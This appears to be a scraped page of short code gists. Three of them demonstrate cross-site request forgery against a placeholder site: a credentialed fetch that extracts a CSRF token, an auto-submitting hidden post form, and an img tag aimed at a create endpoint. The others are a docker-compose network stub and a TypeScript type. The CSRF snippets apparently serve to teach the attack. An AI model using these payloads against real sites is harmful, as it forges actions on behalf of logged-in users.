This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
const url = 'http://site.alice.com/posts' | |
fetch(url, { method: "GET", credentials: 'include' }). | |
then((response) => response.text()). | |
then((body) => { | |
const re = new RegExp('<meta name="csrf-token" content="(.*)" />') | |
const csrfToken = re.exec(body)[1] | |
return csrfToken |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form class="new_post" id="new_post" action="http://site.alice.com/posts" accept-charset="UTF-8" method="post"> | |
<input type="hidden" name="authenticity_token" value=""> | |
<input id="submit-button" type="submit" name="commit" value="Create Post"> | |
</form> | |
<script> | |
document.getElementById("submit-button").click() | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<img src="http://site.alice.com/posts/create" alt=""> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: '3' | |
services: | |
nginx: | |
networks: | |
- foo | |
networks: | |
foo: | |
# driver: xxx |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// With a normal object type | |
type LocalStorage = { | |
user: { | |
email: string | |
age: number | |
} | |
company: { | |
name: string | |
} | |
} |
OlderNewer